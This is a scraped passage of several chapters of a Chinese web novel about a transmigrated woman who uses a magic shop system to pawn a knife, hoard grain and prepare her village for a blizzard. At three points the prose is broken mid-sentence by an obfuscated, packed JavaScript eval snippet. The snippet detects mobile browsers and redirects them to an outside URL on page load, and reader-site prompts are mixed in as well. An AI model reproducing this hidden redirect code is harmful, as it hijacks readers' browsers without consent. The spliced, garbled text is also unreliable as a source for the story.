当铺有当铺的规矩,这刀一看就不是眼前女子会用的东西,他得知道来路,若是偷的抢的,日后被原主找上门,掰扯不清。 程诺一早想好说辞:“这把不锈钢刀是一习武之人所赠,他跟我青梅竹马,一同长大,说好待我长大迎我进门,怎知他有颗报效朝廷,击溃蛮夷的大丈夫之心,从军那日他将此刀赠与我作念想,承诺等他归家我二人便缔结连理,谁知一年又一年,三年复三年,等到的却是他战死沙场的消息……” 说到此处,程诺悲从中来,掩面垂泣,蒲柳一般的身子仿佛随时能倒下去,听得老板感同身受,眼眶跟着红起来。 “既然是故人之物,何不留下做个念想。”他话虽这么说,手却不舍地在刀柄上来回摩挲,仿佛手头东西是他心头好。 程诺演技大爆发,哭得更加厉害:“要不是家中有人生病,怕度不过冬天,我也不会,也不愿……” 明白了,果真是迫不得已,形势逼人。 那一切都解释得通了。 当铺老板给了个公道价格:“刀是好刀,我不跟你整虚的,五十两银子,同意我就收下。” 五十两银子却是不少,毕竟这把刀是程诺从商城用五百块买的,不锈钢刀身,人造革鞘装内层,在现代不锈钢技术日新月异,早不是什么稀罕物,可放在冷兵器时代,简直是一把习武之人群起簇拥的绝佳武器。 可程诺今天来的目的,不是为了银子。 她想要置换。 老板见程诺迟迟不答应,以为对方觉得价格给低了,不曾想对方缓缓开了口:“我不愿用他的刀换银子,若他在天有灵知道,会责怪我的。” 不换银子,换什么? 老板蒙了。 程诺:“我只想活当,日后还是要赎回来了,所以,我想用这把刀,置换您当铺里差不多价格的其他东西,不想我跟他的感情,沾染上铜臭的恶臭。” 说到最后,程诺又抽抽搭搭哽咽起来。 当铺老板一听她不是嫌价格低了,至于是换钱还是换其他东西,与他来说并无差别,换店里东西他更高兴,相当于一当一出做了两回生意。 女子口中的活当,老板全当没听见,进当铺的人谁不这么说,最后能赎回去的又有几个人。 他脑海中已经想到好几个对这把刀感兴趣的顾客,筹划着是卖三百两,还是四百两。 “没问题,姑娘想换成什么?我这就开库房,”当铺老板越想越兴奋,拿钥匙开抽屉,售价五十两银子到一百两的好东西,全部拿出来摆在台面上,供其挑选。 反正这些玩意儿收回来的价格还不足出售的一半,他怎么都不吃亏。 程诺早在脑海中唤出商城。 【系统,扫描吧,哪样东西价格最贵。】 桌面上摆了不少好东西,从颗颗饱满的珍珠玉钗,到通红大气的翡翠头面,再有几十年的人参,硕大的极品何首乌,还有名家字画,前朝汝窑杯盏…… 看得程诺眼花缭乱。 系统扫描的声音响起。 程诺心中已有计较,后世药材培育发达,人参和何首乌价格不便宜,但也不会太贵,大盛不属于后世书中记载的任何朝代,名家字画,古文茶盏寻不到年代,自然卖不上价,至于珍珠玉钗,翡翠这些东西,除了极好水头,后世都能培育出来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!果然不出程诺所料。 系统扫了一圈,台面上的物件折合成商城流通货币,不如五十两银子值钱。 “掌柜的,还有别的吗?”程诺问。 老板正细致地给不锈钢刀入库画图,闻言诧异抬起头:“一个满意的都没有?” 对面难不成是个识货的? 程诺笑笑:“再取些出来看看吧。” 女子笑容和顺,似清风拂面,让他找不到拒绝的理由。 顾客是玉帝,今天说什么也得拿下这单。 当铺老板重新开了个看起来明显豪华些的柜子,里头的每一样物件都用红布包裹,瞧着便价值不菲。 “我店里值钱的好东西,都在这儿了,先说好,东西不便宜,不锈钢刀活当不行,只能死当!” 程诺一脸不舍,剜心般下定决心:“行!” 这回没辜负她的期望,真让商城扫出好东西了。 【检测到高品质天然龙涎香一两,回收价一百两,客官是否售卖?】 一百两,换成人民币十万。 大盛的一两大约是 50克重,也就是说,龙涎香每克高达两千块。 好东西! 龙涎其实就是抹香鲸吃完海底鱼类的消化残留物,能卖出这么高的价格,很大原因是她那个时代,抹香鲸因为海水污染,死得差不多了。 物以稀为贵。 程诺一瞬间想搬家到海边,靠捕捞豢养抹香鲸为生。 想想又放弃了。 这个朝代连氧气瓶都没研究出来,下海打捞纯靠憋气,就算她从商城买了氧气瓶,该怎么跟人解释这玩意儿的由来。 就算能糊弄过去,去哪找速度体力比得上鲸鱼的船只,总不能靠商城吧。 程诺还真在商城搜了一圈,只出来一堆模型。 店铺老板痛心疾首,他刚高价买下的龙涎香啊,看向程诺的眼神不禁带上一丝幽怨。 最后,还是宝刀占据上风,双方达成交易,合作愉快。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十六章 没人信暴雪将至 回家路上,程诺先把顾寒栀送到大梨村村口,接着拐道去云溪村。 进村时,见到不少熟悉面孔,大伙热诺地跟她打了招呼。 程诺不在的这段日子,孟程两家的奇闻轶事一直是大伙儿茶余饭后的谈资。 听说程家在镇上摆摊打出名堂,好几家酒楼让其供货,日子越过越红火;孟家却因孟母挥霍无度,外头赊账百余两,年三十被上门催债,最后也不知怎么解决的。 两相对比,程诺离开孟南洲后,比原先给人当媳妇,不知美上多少。 村里不少被婆母欺负,不受丈夫喜爱的大媳妇小媳妇,看向程诺眼里带着羡慕和向往。 白日里程家老二过来,说家里老小过两日要搬到云溪村来。 大伙儿没多想,毕竟这么好的一间砖瓦房,放着多可惜,村里人恨不得替程家人住进去。 程二顺已经回了家,此刻院中只有程诺一人。 瓷器铺老板送来的五百斤木炭,一半送到云溪村青砖瓦房内,将柴房堆得满满当当。 确定周遭没好事偷看的村民,程诺打开空间面板,开始购买米粮。 她余额破了六位数,每日商城采购次数变成两次。 程诺买了五十斤装的大米二十袋,五十斤装的面粉二十袋。 一半留在厨房,用柴火遮挡住,即便有外人溜进来,第一时间也发现不了里头的秘密。 另外一半运上牛车,等着天黑,再拉回云溪村。 余额下去五千,账户上依旧有九万多存款,手中有钱,程诺对即将而来的雪灾没那么害怕了。 天黑得很快,趁着夜色,夜深人静时,程诺关好院门,落上大锁,赶车回大梨村。 冬天天气冷,大多数村民早早上床入睡,程诺一路走来,没遇到一个熟人。 大梨村的村民,谁也不知道新春开年当晚,程家运回一千斤粮食,将小小厨房填得连转身都费劲。 程母笑得眼睛眯起来,这辈子家里还没存过这么多粮食。 庄稼人忙活一世,就靠粮食带来安全感,有了粮,什么都不用怕了。 第二日一早,程诺拿着赵氏前一晚做好的酸杏糕,坐上牛车去镇上找人花了二十个铜板,带信给杏花村的程雨。 回来后从空间买了十几罐粘合剂,趁家里人不注意倒进混合好的泥土中。 程家三兄弟,动作迅速,大半天功夫,老旧的墙壁重新粉刷。 程大顺看着明显比从前牢固的墙垣,好奇道:“我总觉得这回拌的土粘不少,不知是不是冬日上山的土更适合做土坯。” 程二顺进屋感受了下,外头寒风呼啸,屋内比原先暖和多了。 剩下的泥浆程诺没浪费,让程二顺送到小李家,李家的屋子比老程家还不如,他媳妇有孕在身,最忌讳受冻。 赶在天边还有霞光,小李家不大的土屋也修缮完毕。 年初三,扫穷鬼。 一大早程母拿着扫帚清理屋舍里的杂物,将这几日砌墙累计的垃圾扫出门。 隔壁院的范家人,见程家从大年初一开始不停忙活,心里早好奇得不行。 刚好门前有村民路过,问了几句,听到程母回应:“难得全家都休息,有机会修缮下屋舍,冬天太冷了,怕我这把老骨头抗不过去。” 村民笑道:“程大哥前两日说今年冬天会有暴雪,让我们提前准备多屯些粮食、修缮房屋,程大嫂,你家这两天忙前忙后,不会是在为下大雪做准备吧?” 那人伸脖子往屋里张望:“说得神乎其神的,你家囤了不少粮咯?” 范家的也趴在墙垣上,竖起耳朵听。 她昨日看到程家买粮了,足足两大袋,百八十斤是有的。 程母掸了掸身上的灰尘,指了指院中晾晒显眼的粮袋子:“都在这儿了,也就够我家吃上十几天的,家里人多嘴多,不多准备点没办法。” 百十斤粮食对普通人家算多的,但程家一大家子,又收留了何大夫的外孙和一个表亲,煮粥都得比别家多盛两碗米。 真有雪灾,这点粮食哪里够用哦。 村民只当程父的话是放屁,放完就忘了。 程父却还在村里不遗余力的呼吁大伙儿糊墙屯粮,最后真正听进心里的没一半人家,付诸行动的就更少了。 程诺来接老父亲回家吃饭,见他蹲在地上,一脸挫败,安慰道:“我们该做的都做了,生死有命富贵在天,强求不得,他们不愿意相信是他们自己的选择,爹,你不用自责。” 程父点点头,叹口气站起身,看到迎面走来一人,正是何大夫。 何桂香带婆母去看病时,不是没想过把孩子交给她爹照顾,一想到她的童年是如何过来的,立马打消内心想法,坚持把孩子送给程诺手上。 何大夫是个大老粗,平时照顾自己都够呛,照顾两个孩子比治疑难杂症还困难。 “老大哥,你说要下暴雪的事,真的假的?”何大夫冻得搓了搓手掌,露出不知多少天没洗的袖口,上头补丁林立。 本小章还未完,请点击下一页继续阅读后面精彩内容!程父被村民质疑多了,没了刚开始的一腔孤勇,气短道:“说了也没人信,信了也没人行动,随你们吧。” 何大夫:“我信啊,我外孙还在你家呢,不相信你的人品,我哪敢把我乖孙送过去。” 说话间,又走过来两人,是大梨村的村长和他儿子平安。 村长问:“大山啊,下暴雪的事,你有几成把握,大过年的说这些真不吉利。” 大山是程父的小名,好多年没人喊过了,突然听到,冷掉的心又有了一丝回暖。 程父:“叔,没把握的事,我会瞎说吗?村里人不信我,你帮我劝劝大伙儿,人命关天啊,再不行动来不及了。” 见他一脸严肃,不像是胡说,村长脸色跟着严峻起来。 若真暴雪突降,延续数月,村里必定要死不少人,不仅仅是大梨村,周边村镇皆是如此,一场天灾,至少四五年村里都得不到安生。 提前防范有利无害,不过是糊墙屯粮这样的小事,即便最后没雪灾,花出去的银钱换成米粮和坚硬的屋舍,不算浪费。 村长立马跟儿子道:“平安,挨家挨户跟大伙儿提雪灾的危害,就说我说的,让村里人屯粮修房,谁家不听,大雪来临时,别哭到我门上。” 平安点头:“我现在就去。” 他从最村尾人家开始劝说,程老头和何大夫去山上砍树枝,程家几个儿子,有去野地里挖泥土的,有去寻找适合掺和泥里的稻草的,还有到鹿山上捡柴火的。 陆续有好几户人家被说动,有钱的拿出存银去镇上买粮,没钱的挑起扁担去后山挖土糊墙。 其中就有贵婶一家。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十七章 将地里没成熟的粮全拔了 村尾一间错落有致的小院,收拾得干干净净,门前挂着几张捕鱼网,周边还有两副捕鱼的长叉。 贵叔急匆匆从屋里出来,身后传来贵婶的呼喊声:“等一下,去当铺把我两对银耳环当了,全部换成米面,用不着太好,能吃的那种就行。” “留一对吧,你不是最喜欢银耳环吗?”贵叔看着媳妇光秃秃的耳垂,于心不忍,媳妇从年轻时就爱俏。 贵婶顿时不满了:“命都保不住了,美给谁看啊,大雪一来是要**的,还不赶紧趁粮食没涨价,多买些回来。” 贵婶儿子媳妇睡眼惺忪爬起床,听见爹娘要将家里银钱全拿出来买粮食和炭火,吓得睡意全无。 媳妇孙氏杵了丈夫胸口一下:“程家人说下暴雪,爹娘就真信了,以前娘不是最看不惯程家吗?你还不赶紧说两句话,家里的钱都换成米粮,以后咱儿子用什么?” 富贵立刻朝爹娘喊道:“爹娘,哪年不下雪,今年不过冷了些,哪里就像程叔说的那般恐怖,银子多难赚,要是你们碰上头疼脑热,没有现银怎么成?” 贵婶瞪了儿子一眼:“我们老两口存钱哪来买粮,你们手上钱不是没动吗?怎么着,老娘病得下不来床,你跟你媳妇连请大夫的铜板都不愿意出?” 孙氏噘噘嘴:“瞧您说的,我跟富贵多不孝似的,随二老的便吧,我们夫妻俩不管了。” 婆母是家里管事的,说一不二,连公爹也要看她眼色行事,她下定决定谁也管不了。 夫妻俩拢了拢身上的袄子,打算重新爬上床再睡个回笼觉。 还没躺下,床上的被褥被人一把掀开。 贵婶叉腰站在二人面前:“睡个屁,给老娘起来,一个上山砍柴,一个去铲泥巴把厨房院墙开缝的地方糊上,今晚之前完不成,仔细你俩地皮。” 骂完人的贵婶重新回到院中,贵叔正跟村长在说话,村长提议要买粮的人家聚在一起,盘算个总数,派一人去镇上米铺买粮。 一来量大好讲价,二来都是一个地方的,可以让米铺老板帮忙送到村口,再由各家各户领回家,省得大伙儿都去镇上,家里的活计反倒没人干了。 贵叔觉得可行:“我这就去统计哪些人家要买粮。” 村长拉住他的衣摆,嗫嚅道:“阿贵啊,你觉得大山的话,能应验吗?” 贵叔思绪飘远,他是打渔为生的渔民,因为潜水功夫好又有法子,家里的条件一直在村中排得上号,村长敬重他,大小事情拿不定主意,会来寻求他的意见。 程老头的话听着不靠谱,甚至有些危言耸听,贵叔却打从心里信服。 河坝里的鱼虾从一月前陆续跳上岸边,**般的行径,让他不解许久,老人家常说,天灾来临之前,动物比人更能提前感知到危险。 所以程老头在村里说今年会有暴雪时,他立马信了。 大梨村五十多户人家,在村长的动员下,一半的村民信了暴雪来临的话,拿出自家存银交给贵叔代买米粮,由村长儿子平安作监督,他们则留在家里做其他预防工作。 剩下一半人家,要么拿不出银钱,要么压根不相信,还有像范家的瞪着两眼睛瞧笑话。 范家。 范木匠掂量家中存银,思考要不要也去屯些粮食,却被张氏拦下。 “他们发疯,咱家凑什么热闹!我才不信天会下暴雪,你问问爹娘,他们在大梨村生活大半辈子,什么时候见过大暴雪?” 范母应和道:“你媳妇说得不错,从没见过,连雪也不是年年都有的。” 范父病弱,咳嗽一声点头:“别家愿意折腾让他们折腾去,一个个少见多怪,没见识的怂货,飘两片雪花,打两声雷,吓成这样,娘们唧唧的,让人笑话。” 家人的一番话,打消范木匠想买粮的心思。 家里存银不多,还是得省着点花,暴雪只是程家人的猜忌,谁知道会不会成真。 几个月后冬小麦成熟,米铺米价肯定得降,将全部家当压在粮食上,万一亏本得不偿失。 算了,往年怎么过,今年还怎么过。 范木匠不信他们家会这么倒霉,更不信程老头有预言天灾的本事。 天变成灰蒙蒙时,小小的雪花一片片往下落。 运送到村口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429198|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米粮前**一堆等候多时的村民,大伙儿按照各自定下的数量,将米面搬回家。 米面价贵,农户家鲜少顿顿吃得起,贵叔考虑到大伙儿的经济水平,买回来的食物多以红薯玉米这些扛饿,又价格低廉的庄稼为主。 “下雪了。”人群中有人喊道。 大伙儿纷纷抬头看,真的下雪了。 这已经是冬日数不清第几场雪了。 “要不要再去镇上买些冻疮膏?” “粮食有了,地窖里的蔬菜不够呀,总不能顿顿红薯窝头。” “明天再去吧,就算今晚雪下得大,一晚上也不会封路。” 一夜过后,天刚蒙蒙亮,雪停了。 地上的雪尚不足一指宽,下的是场小雪。 范家的正拿扫帚清理门口的积雪,边扫边笑道:“哎呦,这点雪,就能冻**了?有些人小题大做,见不得大伙儿过安生日子,要我说,这年头,什么都比不上真金白银在手上好使!” 听到她话的邻里,其中几户一直处于观望状态,昨日下雪心里泛起嘀咕,怕真下大了家里没存粮,今日雨过天晴,又觉得昨晚杞人忧天,马上开春了,天气逐渐暖和起来,哪里就会冻**。 门一关,继续窝在家里享受难得的惬意时光。 另外一部分,不管范家的如何嘲讽,依旧踩着雪,坐上小李的牛车去了镇上。 程家这边,三兄弟在程诺的带领下,来到田亩上。 地里的冬小麦又往上冒了一茬,已经有成人小臂高,绿叶上零零碎碎飘着雪花,压弯了小麦叶子。 “拔吧。” 程父心里油煎一样。 二十多亩地的小麦,现在不拔了大雪一来全部地冻死在麦田里。 哪怕只能带回去给鸡鸭当饲料,也比烂在地里强。 程大壮三兄弟一脚踏进田地,地里浅浅覆盖一层的白雪很快消融,发出咯吱咯吱的声音。 看到程家将刚长到一半的小麦连根拔起,田埂上的邻里心疼**。 程大壮擦拭额角的汗水:“大雪一来,小麦肯定活不成的,不仅小麦,庄稼地里的所有东西都得拔了。” 第一百一十八章 暴雪前夕 有人把话记在心里,跟程家人一样下地忙活,还在蹭蹭往外冒的韭菜,一刀连根割断,尚未长成的莴笋、菠菜全部从地里**,一股脑丢进自家地窖保存。 有人骂村民被程家人带着一起发疯:“造孽哦,好好的菜秧子全毁了,没了小麦,来年夏收怎么办,程家人是神仙还是龙王爷,他说暴雪就下暴雪吗?你们有没有脑子?” 跟随程家的村民,心里同样惴惴不安,既然菜也拔了,粮也囤了,再多说没有意义,只能硬着头皮骂回去。 “你家是好是歹我们管不着,我家愿意信程家的话,你们也管不着。” “会不会下暴雪,过几日见分晓。” 被着手在地里看热闹的村民看着自家田里茁壮成长的麦子,再看旁边空落落光秃秃的田埂,奚落道:“我瞪两眼睛瞧着呢,丰收的时候官府来收粮,千万别哭到我面前,我家一粒子儿都不会借你!” 这话也是冲程家人说的。 弯腰干活的程家三兄弟不管面对多少质疑,一概不搭理。 能做的他们做了,能交代的他们也都交代的,同为一个村的邻里,大家祖上或多或少沾亲带故,没人会希望对方过得不好。 等暴雪来临,即便家里囤了东西,足够家人过寒冬,但若是其他人抗不过去,还是会有人陷入危险之中。 当天下午,从镇上赶回来的小李,又将牛车拴在程家门口老榆树上。 收拾好行李的程家人分成两波,程母领着老二老三一家上牛车,同行的还有本就住在云溪村的陶源和阿盼。 小盼儿原本也是要跟着一起过去的,一听程诺不去,她说什么也不愿意去了,扒着程诺的裤脚不松手,没办法程诺只能将她留下。 “阿盼,去瞧瞧,你何爷爷怎么还没来。”程母道。 小少年利落地从车上翻下来,往村尾方向小跑,没多久见到扛着大包小包的何大夫。 何大夫寡居,一个人也得开火烧柴,不如跟程家人一起去云溪村落脚,既可以作为大夫给孩子们治疗头疼脑热,又可以顺带看顾小外孙。 他也不是白占便宜的人,足够三口人吃上三个月的米粮,早在前两日提前送到程家人手上。 “何爷爷,牛车快出发了。”阿盼接过何大夫手上的包裹,扛着肩膀上,还想再去拎另一个。 被何大夫拦下。 小家伙看着不大,挺有力气的。 何大夫喘着粗气,不服老道:“我能行,哪能让你个小娃娃拿这么重的东西。” 阿盼问:“包里装的什么?被褥吗?” 何大夫一愣:“四娘让我紧着重要东西拿,我最要紧的,就是这些药材了。” 难怪一股子药味,何爷爷是把药房搬过来了。 “这些都是救命的药材,万一我那破屋被大雪压塌了,岂不全浪费了。” 程诺远远看到两个被包裹压弯腰的身影脚步匆匆而来,走近一看真是何大夫和阿盼。 何大夫仔细检查包裹,从中抱出一摞,交给程诺:“药材我分了两份,一些简单治风寒跌打损伤的我也写了备注,不出意外,足够你们用上半年。” “我一走,村里就没大夫了,希望大伙儿别怨我,”何大夫叹了口气,“若是有人病了伤了,劳你分些药给大伙儿。” 程诺点点头。 牛车在夜色来临前驶出村口。 走了一大半的人,程家立马空荡起来。 十七搬进程三虎夫妻屋里住下,来程家两月有余,终于能睡上真正意义上的床。 跟着在田埂上忙碌整天,男子半躺在被褥上,身体的乏累逐渐消散,才有时间思考当下处境。 听程家人的意思,不久后下暴雪是程四娘的推断,程父言之凿凿,显然对女儿的话十分信任,不仅是他,整个程家的人一听是程四娘说的,竟无一人觉得荒谬。 暴雪啊…… 今年的天气确实诡异。 但要说会有雪灾,他心里是不信的。 衢州永安县处在大盛以南,平原居多,山川鲜少,据大盛地方志记载,这块地方曾经发生过的天灾次数一只手数得过来。 若下辈子只能当农户,在这种地方终老,日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429199|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子好像也没那么难熬。 从前的督军指挥使袁满,如今流落乡野寄人篱下的流民十七,在经历家国两重背叛后,第一次在乡野之地找到归宿感。 “咚咚咚”有人敲响房门。 十七起身开门,映入眼帘的是一团遮挡住脸颊的白色被褥,有女声自其后飘出来:“天上又飘雪了,估摸着今晚不会小,节约用炭,先用厚被褥顶两天。” 木炭是好东西,但用起来太舒服容易有依耐性。 趁着天没冷到受不了,先熬两天。 十七摸着柔软蓬松的被褥,入手的触感尽半点不输他从前用过的上等金丝缠线鹅绒被。 他记得今天程母等人去另一间屋舍时,程诺也给她们准备了好几床。 “什么时候买的?” 十七断定程家原先没有这么好的被褥。 程诺:“给你就用,哪儿那么多问题。” “我总觉得你身上有数不清的秘密。” 十七轻笑,上挑的眉眼竟显现出一丝妖冶,烛火打在他秀美的五官上,让人觉得眼前人好似林中精怪,有着勾人摄魄的能力。 那双眼睛似乎有看透一切虚假谎言的能力,寻常人不敢在他面前撒谎。 偏偏程诺不是寻常人,被褥没彻底摊开在床,被她重新卷好,抱起就走:“看来你不是很冷。” 窗外的风吹得窗棂哐哐作响,一双手臂拦在面前,挡住程诺的去路,男人声音明显软下来:“我多嘴了。” 被褥重新塞到十七怀里,柔软非常,他确定是极好的料子,不是普通人家能用得起的。 程诺:“好好珍惜睡单人床的机会,等天再冷了,会有大通铺等着你的。” 行军打仗时常席地而睡,别说大通铺,就是几十个人的营帐他也睡过。 女子的威胁在他眼中跟蚊虫叮咬般,起不到任何效果。 “无妨。” 程诺意味深长带出一抹笑,哦的一声尾音拖长。 雪一连下了两日,气温越来越低,第三日晚上不得不烧起木炭。 程父将家里男人女人分到两个屋子。 第一百一十九章 死鸭子嘴硬 程大壮、程父、程云和十七一起挤在主屋炕上,程诺、赵氏和小盼儿睡在东屋,两个房间烧炕,用的木炭会少很多。 赵氏头一回跟程诺睡一处,虽有些局促,好在有小盼儿说说笑笑,气氛没那么尴尬。 主屋中的四个男人就不一样了。 程父程云程大壮虽是祖孙三代,彼此性情却不一样,程大壮老实憨厚,程云好动多话,程父严肃古板,十七作为外人,话更少,于是整个屋里只有程云一个人的声音。 “今晚会下整夜雪吗?” “要不明早起来堆雪人吧,盼儿妹妹肯定喜欢,用胡萝卜做鼻子,两黑豆当眼睛。” “爹,明早吃糍粑饼好不好,爷,你想吃糍粑饼吗?” 除了两道绵长的呼吸和呼噜声,没人理会程云。 他翻了个身,将被褥拱成一座小山,面朝十七方向:“十七叔,你睡了吗?” 四人头朝外,脚抵着墙垣,身下是微微有些热气的炕,屋外风呼啸,屋内倒是没那么冷。 几个大男人躺在床个被窝里,最上面再铺上两个芦苇做成的厚被褥,冷倒是还好,最让十七崩溃的是被褥里的味道。 “睡了。” 程云来了精神:“骗人,睡了怎么还听见我说话。” “梦话。” 程云不信,半个身体钻出来,试图去看面前背对着他的人,动作间又带出一股味儿。 十七秀眉蹙紧:“你多久没洗脚了?” 程云拖长尾音,思考的时间有点长,十七立马道:“好了,不用说了。” 他终于知道那日程诺冲他的笑是什么意思。 床炕太小,四个五大三粗的男人挤在一起,随便谁翻个身,带出被褥中的味道能熏**。 程云遗传了程大壮的汗脚,程父睡着时放屁打呼磨牙,一晚上鼻腔和耳膜双重折磨。 十七承认,从前跟将士们同住一个帐篷,他好歹有床属于自己的被子,再惨也惨不过眼下情形。 第二天,十七醒得最早,准确说是一夜没睡好,外面还是一片漆黑。 正纠结是起床还是继续躺着时,突然,一个小丫头出现在他脑袋上方。 探头探脑,十分灵动,小声喊道:“十七叔醒啦。” “是盼儿啊,”十七歪了歪头,认出是程四娘的女儿,见她穿着整齐,“起这么早啊?不冷吗?” 小盼儿笑起来,样子跟程诺有三分相似:“不冷,昨晚跟娘和大伯母睡得可暖和了,娘让我来问问你们冷不冷,十七叔,你昨晚睡得好吗?” 十七没回话,醒来的程云抢答道:“好,特别暖和。” 小盼儿在床边蹦蹦跳跳,小丫头双颊圆滚滚,一改先前来程家时面黄肌瘦的难民样,五官灵动,比程家几个女孩子长得都好看。 她晃了晃程云露在外头的胳膊:“二哥起床,二哥起床,院里白茫茫一片,娘让盼儿堆雪人,可盼儿不会堆雪人。” 推开正屋的门,院中果然落满了雪。 程云一脚踏出去,雪已经埋到脚踝。 灶膛里传来动静,是程诺在做饭。 外头缸里的水早冻住了,大雪遮蔽让人险些忘了它的存在,几人就地取材,舀雪进屋融化,洗脸漱口,简单完成早上的清洁。 十七推开院门,天空有了光亮,照耀出眼前的世界,天地之间白茫茫一大片,地上、屋顶上、树干上,就连远处的田地全覆盖上厚厚的积雪,甚至一下子分不清哪户是哪户。 程大壮紧随其后走出来:“好大的雪,不知道为什么,之前下小雪心里慌慌的,真下大雪了,心反而安定了。” “因为家里存粮够,炭火足,尽力了剩下的听天命。”十七缓缓道。 程大壮拍拍他的肩膀:“你越来越像我们老程家的人了,好兄弟,你既然忘了从前,不如就跟我家姓程吧,我瞧你比三虎还小点,不如当我五弟,我让爹娘认你当干儿子,以后喊我一声哥,叫四娘一声姐,好不好?” 刚穿好衣裳的程父闻言,一巴掌拍在大儿子脑后:“有你们几个讨债的,我已经少活十年了,十七只是忘了姓什么,以后总会想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429200|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。” 程大壮委屈:“万一想不起来呢,没姓他连户都落不了。” 程父眼睛一眯:“怎么落不了,想落户我家,又不是只有给我当儿子一个方法。” 十七神色一凛,暗道不好。 程大壮愣了愣,随即哦了两声,脸色一变,怨怼起父亲来:“爹,我不同意,怎么能让十七给我家当仆人呢。” 程父白眼翻了又翻,一脚踹在老大脚窝处。 程大壮双腿一弯,身体不受力,整个人呈大字型超前扑去,好在雪层厚实,除了糊了一脸雪,没伤着半点。 程云陪小盼儿在院中搭雪人,刚团了个圆滚滚的身子,听到厨房传来喊声:“爹,大哥,还有远离堆雪人的几个,赶紧来吃饭,吃完饭我们去帮村长叔公把地里的小麦运回家。” 村长家地多壮劳力少,往年两季农忙也是程家人出力帮忙。 早饭是糍粑饼配稀粥,还有前两天蒸好的馒头,配上一碟子醋溜白菜。 饭菜简单,没有荤腥,却让大伙儿吃得安心。 早饭过后,程父带着程大壮、程云和十七走了。 刚到村长家门前,看到平安爬在屋顶上扫雪。 土房不结实,雪化了会损伤房顶,雪重了也会有坍塌的风险,所以要及时清理,刚出门前,程大壮已经将家里屋顶清扫干净。 程父推门而入。 村长正在准备箩筐,见程家人自己带了镰刀,笑道:“还是你们想得周到,走吧,争取今天全收了,还不知道明天的雪会有多大。” 跟村长家田埂挨着的村里人问:“现在收会不会太早了,要是明天雪化了,兴许庄稼还能活,再不济等出了麦穗也行,总比现在割了强。” “若是雪化不了呢?”村长反问,“全部烂在地里,现在能收一些是一些,你抬头看看天,看见雪花了吗?别说明天,后天雪也化不了。” 村长的话很快应验,如果昨天的雪只到脚踝,今晚的大雪已经遮到小腿肚。 意识到不对劲的村民们,终于开始行动起来。 第一百二十章 人手一件羽绒马甲 偏偏还有些嘴硬的,死活舍不得拔掉地里的小麦,粮食就是他们的命啊。 “不拔不拔,你是想害死我们家啊!” 范家的哭喊声在田埂上此起彼伏,飘到众人耳中。 村长嘴皮子都磨破了,对方态度坚决:“谁敢动我家地里的小麦,我跟她拼命!” “石头娘,你听听劝吧,村长不会害你的。” 有相熟的妇人劝道。 范家的鼻子冷哼一声,显然完全没听进去。 大伙儿不再劝说,田埂上只剩下村民起起伏伏的身影,终于在脚冻僵之前,将地里的尚绿油油的小麦拔干净了。 程大壮几人帮相熟的邻里干完农活,人还没进院,程云的呼喊声先响起:“娘,中午吃什么?” 赵氏从堂屋走出来:“回来啦,正好,把院里的水缸搬进屋,等屋里烧起炭,温度高了,雪水就化了,做饭洗衣都能用。” 天太冷,去湖里打水是不可能了,只能依靠天上落下的雪水融化。 男人力气大,水缸很快搬进屋。 程诺趁大伙儿不注意的功夫,往里面丢了两粒净水片,虽然古代污染源少,她依旧不放心,万一引发肠胃炎,麻烦就大了。 赵氏给几人添饭,关心道:“下地冷不冷啊?” “冷,娘,今天天气比前两天冷多了。”程云哈了口热气,忙端起碗摩挲着取暖。 “那把外衫脱了,都上炕吃饭,炭火烧起来了,很快就暖和。” 程云快速脱下被雪浸湿的外衫,蹭掉鞋钻到床上,床上摆了张小桌,挤一挤不成问题:“还是家里暖和,幸好提前买了炭火,我听说村里没几户人家屯到木炭,都是用的柴火。” 柴火烧起来快,还容易有浓烟。 程大壮挨着儿子坐下,把身边的位置让给程父,笑道:“爹,咱家白天就烧木炭,会不会太奢侈了。” 程父夹了筷子白菜进嘴里,酸得有些涩牙:“不算浪费,外头天寒地冻,你们刚出了汗,冻着了麻烦更大。” 程诺去厨房给几人端来姜汤:“驱驱寒气,快喝了。” 几人喝完姜汤,浑身暖和大半。 “村里人庄稼都收了吗?”她随口问。 程大壮摇头:“大半人家听从村长叔公的话,地里但凡绿色的全割了,能吃的存地窖,不能吃的给牲畜,总归不浪费。” 